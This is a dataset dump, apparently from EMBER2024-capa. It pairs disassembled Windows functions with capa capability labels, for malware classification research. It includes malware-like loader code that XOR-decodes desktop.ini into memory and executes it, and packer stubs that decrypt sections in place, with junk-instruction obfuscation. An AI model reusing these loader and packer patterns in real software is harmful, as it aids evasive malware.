joyce8/EMBER2024-capa huggingface dataset:
Function at 0x524b38
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x524bba
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
call fcn.00404ce8
mov eax, dword [ebp - 4]
call fcn.00404fa8
test eax, eax
jle 0x524ba4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 1
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov dl, byte [edx + ecx - 1]
xor dl, byte [ebp - 5]
call fcn.00404ed0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.00404fb0
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0x10]
dec dword [ebp - 0x14]
jne 0x524b79
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x524bc1
lea eax, [ebp - 0x18]
call fcn.00404ce8
ret
Function at 0x52955c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x5295db
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
mov eax, 0x5295f0
call fcn.00498dc8
mov eax, dword [ebp - 0x10]
call fcn.004051a8
call fcn.005292f0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x5295c5
mov eax, dword [ebp - 8]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x5295c5
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5295e2
lea eax, [ebp - 0x10]
call fcn.00404ce8
ret
Function at 0x401000
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x4312a0], 0x24e1
mov eax, dword [0x4312a0]
sub eax, 0x24e1
mov dword [0x4312a0], eax
mov ecx, 1
test ecx, ecx
je 0x4010ab
mov edx, dword [0x4312a0]
cmp edx, dword [ebp + 0xc]
jb 0x401037
jmp 0x4010ab
cmp dword [0x4312a0], 0
jne 0x401055
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401055
xor eax, eax
jmp 0x4010ab
mov eax, dword [ebp + 8]
add eax, dword [0x4312a0]
mov ecx, dword [eax]
add ecx, dword [0x4312a0]
mov edx, dword [ebp + 8]
add edx, dword [0x4312a0]
mov dword [edx], ecx
mov dword [ebp - 4], 0x263fa
mov eax, dword [0x4312a0]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x4312a0]
push eax
call fcn.00401270
add esp, 8
mov ecx, dword [0x4312a0]
add ecx, 4
mov dword [0x4312a0], ecx
jmp 0x40101d
mov esp, ebp
pop ebp
ret
Function at 0x401970
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x114], str._ffffffffffffffff
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x11c], eax
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x11c]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x4019ea
cmp dword [ebp - 0x118], 0
je 0x4019ea
jmp 0x401a4c
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
je 0x401a4c
mov dword [ebp - 0x120], 0x7dc35
mov eax, dword [ebp + 8]
add eax, 8
mov dword [0x431294], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [0x4312b0], edx
mov dword [ebp - 0x120], 0x7dc35
mov dword [ebp - 0x120], 0x7dc35
call fcn.00401260
mov eax, dword [ebp + 8]
mov dword [0x4312ac], eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
call fcn.00401b30
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x4019ea
mov esp, ebp
pop ebp
ret
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x40ed63
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x40eae0
sub edx, 0x4e00b76f
inc edx
call fcn.0040ed9c
add edi, edi
xor dword [eax], esi
add edx, edx
push 0xfe277225
mov edi, dword [esp]
add esp, 4
inc eax
push edi
mov edi, dword [esp]
add esp, 4
cmp eax, ebx
jne fcn.0040ed63
add edx, edi
mov edi, 0xf71097dc
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x4bf73a57
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x11462f6b
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x17414c64
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x53d41e3a
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x405660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x42b010]
push edi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
mov edi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
push 0
call dword [0x42b018]
push eax
call dword [0x42b014]
mov ebx, eax
push str.x:_5s
mov dword [ebp - 4], ebx
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
mov byte [ebx + edi], 0
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x40577a
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 8], eax
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
mov ecx, dword [ebp + 0xc]
push ecx
add ebx, edi
call dword [0x42b0dc]
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp + 0xc]
add esp, 4
push str.x:_5s
mov cl, byte [edx + eax]
mov edx, dword [ebp - 8]
xor cl, byte [edx + ebx]
mov byte [ebx], cl
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
mov ebx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 0x10]
jb 0x405706
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
push str.x:_5s
call esi
lea eax, [ebp - 0xc]
push eax
push 0x100
push 4
push ebx
mov dword [ebp - 0xc], 0
call dword [0x42b01c]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407af0
Capabilities:
Parse pe header

Disassembly:
cmp dword [ebx + 4], 0x40
jb 0x407b91
mov eax, dword [ebx]
push 0x40
push eax
push esi
call dword [0x42b0f4]
mov ecx, 0x5a4d
add esp, 0xc
cmp word [esi], cx
jne 0x407bc0
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x407bc0
lea edx, [eax + 0xf8]
cmp edx, dword [ebx + 4]
ja 0x407b91
mov ecx, dword [ebx]
push edi
push 0xf8
add ecx, eax
push ecx
lea edi, [esi + 0x40]
push edi
call dword [0x42b0f4]
add esp, 0xc
cmp dword [edi], 0x4550
pop edi
jne 0x407bc0
mov edx, 0x10b
cmp word [esi + 0x58], dx
jne 0x407bc0
movzx eax, word [esi + 0x46]
test ax, ax
je 0x407bc0
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
push 8
mov dword [esi + 0x140], eax
call dword [0x6390f4]
push eax
call dword [0x639088]
mov dword [esi + 0x138], eax
test eax, eax
jne 0x407b97
mov eax, 3
ret
mov eax, 1
ret
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
lea ecx, [ecx + edx + 0x18]
mov edx, dword [esi + 0x140]
push ebx
push edx
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00408190
add esp, 0x10
neg eax
sbb eax, eax
inc eax
ret
mov eax, 2
ret
Function at 0x424c40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor eax, eax
push esi
push edi
cmp byte [0x42cff4], al
je 0x424c5d
inc eax
cmp byte [eax + 0x42cff4], 0
jne 0x424c53
mov esi, dword [ebp + 8]
mov dword [esi + 8], eax
inc eax
call fcn.00403530
mov dword [esi], eax
test eax, eax
je 0x424c7b
push 0x42cff4
push eax
call dword [case.0x41d0c4.0]
mov esi, dword [0x638aa4]
xor eax, eax
cmp byte [esi], al
je 0x424c8e
inc eax
cmp byte [esi + eax], 0
jne 0x424c87
inc eax
call fcn.00403530
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x424ca5
push esi
push ebx
call dword [case.0x41d0c4.0]
lea eax, [ebp - 0x24]
push eax
call dword [0x639044]
mov eax, dword [ebp - 0x16]
xor edi, edi
lea esi, [eax + eax*4]
mov word [0x638ec0], si
cmp dword [ebp + 0xc], edi
jle 0x424d19
mov edx, dword [ebp + 8]
mov eax, dword [edx]
movzx ecx, si
mov dword [ebp - 4], eax
mov edi, edi
mov eax, ecx
shr eax, 2
xor eax, ecx
shr eax, 1
xor eax, ecx
shr eax, 2
xor eax, ecx
and eax, 1
mov dword [0x638ec4], eax
shl eax, 0xf
shr si, 1
or si, ax
movzx ecx, si
xor edx, edx
mov ebx, 0xb
mov eax, ecx
div ebx
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
inc edi
mov dl, byte [edx + ebx]
mov byte [eax + edi - 1], dl
cmp edi, dword [ebp + 0xc]
jl 0x424cd0
mov word [0x638ec0], si
mov edx, dword [ebp + 8]
mov ecx, dword [edx]
mov eax, dword [ebp + 0xc]
mov byte [eax + ecx], 0
test ebx, ebx
je 0x424d91
mov ecx, dword [ebx - 8]
lea eax, [ebx - 0x10]
mov dword [eax], 1
test ecx, ecx
je 0x424d61
cmp dword [ecx], 0
je 0x424d61
cmp dword [0x6391c4], ecx
jne 0x424d4b
mov dword [0x6391c4], eax
mov esi, dword [ecx + 4]
add dword [eax + 4], esi
mov esi, dword [ecx + 8]
mov dword [eax + 8], esi
mov ecx, dword [ecx + 8]
test ecx, ecx
je 0x424d61
mov dword [ecx + 0xc], eax
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x424d91
cmp dword [ecx], 0
je 0x424d91
cmp dword [0x6391c4], eax
jne 0x424d7b
mov dword [0x6391c4], ecx
mov esi, dword [eax + 4]
add dword [ecx + 4], esi
mov esi, dword [eax + 8]
mov dword [ecx + 8], esi
mov eax, dword [eax + 8]
test eax, eax
je 0x424d91
mov dword [eax + 0xc], ecx
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427100
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [0x6390e0]
test esi, esi
jne 0x427118
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x427111
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x427111
mov eax, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x1c]
add eax, esi
add ecx, esi
push ebx
mov ebx, dword [eax + 0x20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
push edi
add ecx, esi
add ebx, esi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x42717a
jmp 0x427160
mov eax, dword [ebx + edi*4]
mov ecx, dword [0x638bf0]
add eax, esi
call fcn.00424be0
test eax, eax
je 0x427183
inc edi
cmp edi, dword [ebp - 4]
jb 0x427160
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + edi*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
pop ebx
add eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219
Function at 0x403820
Capabilities:
Get common file path
Get disk information
Get memory capacity
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd48
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x469368]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x46936c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x24], 0x9e3779b9
mov dword [ebp - 0x20], edx
call fcn.00403810
mov ecx, dword [0x469370]
mov edx, dword [0x469374]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x14], 0x20
jmp 0x403890
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov esi, dword [ebp - 0xc]
mov eax, dword [0x470b64]
shl esi, 4
add esi, dword [ebp - 0x28]
cmp eax, 0xfa9
jne 0x4038bc
mov dword [0x470b60], 0xedeb2e40
jmp 0x4038d7
cmp eax, 0x3eb
jne 0x4038d7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [0x4705f0], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x2c]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x470b64], 0x9e6
mov dword [0x470b5c], 0xf4ea3dee
jne 0x403912
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x470b64], 0x213
jne 0x403988
push 0
push 0
push 0
push 0
call ebx
lea eax, [ebp - 0x548]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
lea ecx, [ebp - 0xd48]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea edx, [ebp - 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub edi, dword [ebp - 4]
cmp dword [0x470b64], 0xc
jne 0x40399c
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [ebp - 8]
mov eax, edi
shr eax, 5
lea ecx, [edx + edi]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov esi, edi
shl esi, 4
add esi, dword [ebp - 0x20]
xor esi, ecx
cmp dword [0x470b64], 0xb03
jne 0x4039d4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x24]
sub dword [ebp - 8], eax
sub dword [ebp - 0x14], 1
jne 0x403890
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403a10
Capabilities:
Allocate thread local storage
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x470b64]
mov ecx, dword [0x4705f4]
shr eax, 3
sub esp, 8
test eax, eax
jbe 0x403aa3
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp dword [0x470b64], 0x959
jne 0x403a8d
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [ebp - 4]
push eax
call fcn.00403820
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x403a43
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40af6f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x468ce0]
jne 0x40af79
repz ret
jmp fcn.0040e68b

Function at 0x40c3a4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407ddb
and dword [ebp - 4], 0
cmp dword [0x46e5e0], 0
mov ebx, eax
jne 0x40c455
push 0x4023d0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c506
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4023c4
push edi
call esi
test eax, eax
je 0x40c506
push eax
call fcn.00407d69
mov dword [esp], 0x4023b4
push edi
mov dword [0x46e5e0], eax
call esi
push eax
call fcn.00407d69
mov dword [esp], 0x4023a0
push edi
mov dword [0x46e5e4], eax
call esi
push eax
call fcn.00407d69
mov dword [esp], 0x402384
push edi
mov dword [0x46e5e8], eax
call esi
push eax
call fcn.00407d69
pop ecx
mov dword [0x46e5f0], eax
test eax, eax
je 0x40c455
push 0x40236c
push edi
call esi
push eax
call fcn.00407d69
pop ecx
mov dword [0x46e5ec], eax
mov eax, dword [0x46e5ec]
cmp eax, ebx
je 0x40c4ad
cmp dword [0x46e5f0], ebx
je 0x40c4ad
push eax
call fcn.00407de4
push dword [0x46e5f0]
mov esi, eax
call fcn.00407de4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c4ad
test edi, edi
je 0x40c4ad
call esi
test eax, eax
je 0x40c4a4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c4a4
test byte [ebp - 0xc], 1
jne 0x40c4ad
or dword [ebp + 0x10], 0x200000
jmp 0x40c4e6
mov eax, dword [0x46e5e4]
cmp eax, ebx
je 0x40c4e6
push eax
call fcn.00407de4
pop ecx
test eax, eax
je 0x40c4e6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c4e6
mov eax, dword [0x46e5e8]
cmp eax, ebx
je 0x40c4e6
push eax
call fcn.00407de4
pop ecx
test eax, eax
je 0x40c4e6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46e5e0]
call fcn.00407de4
pop ecx
test eax, eax
je 0x40c506
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
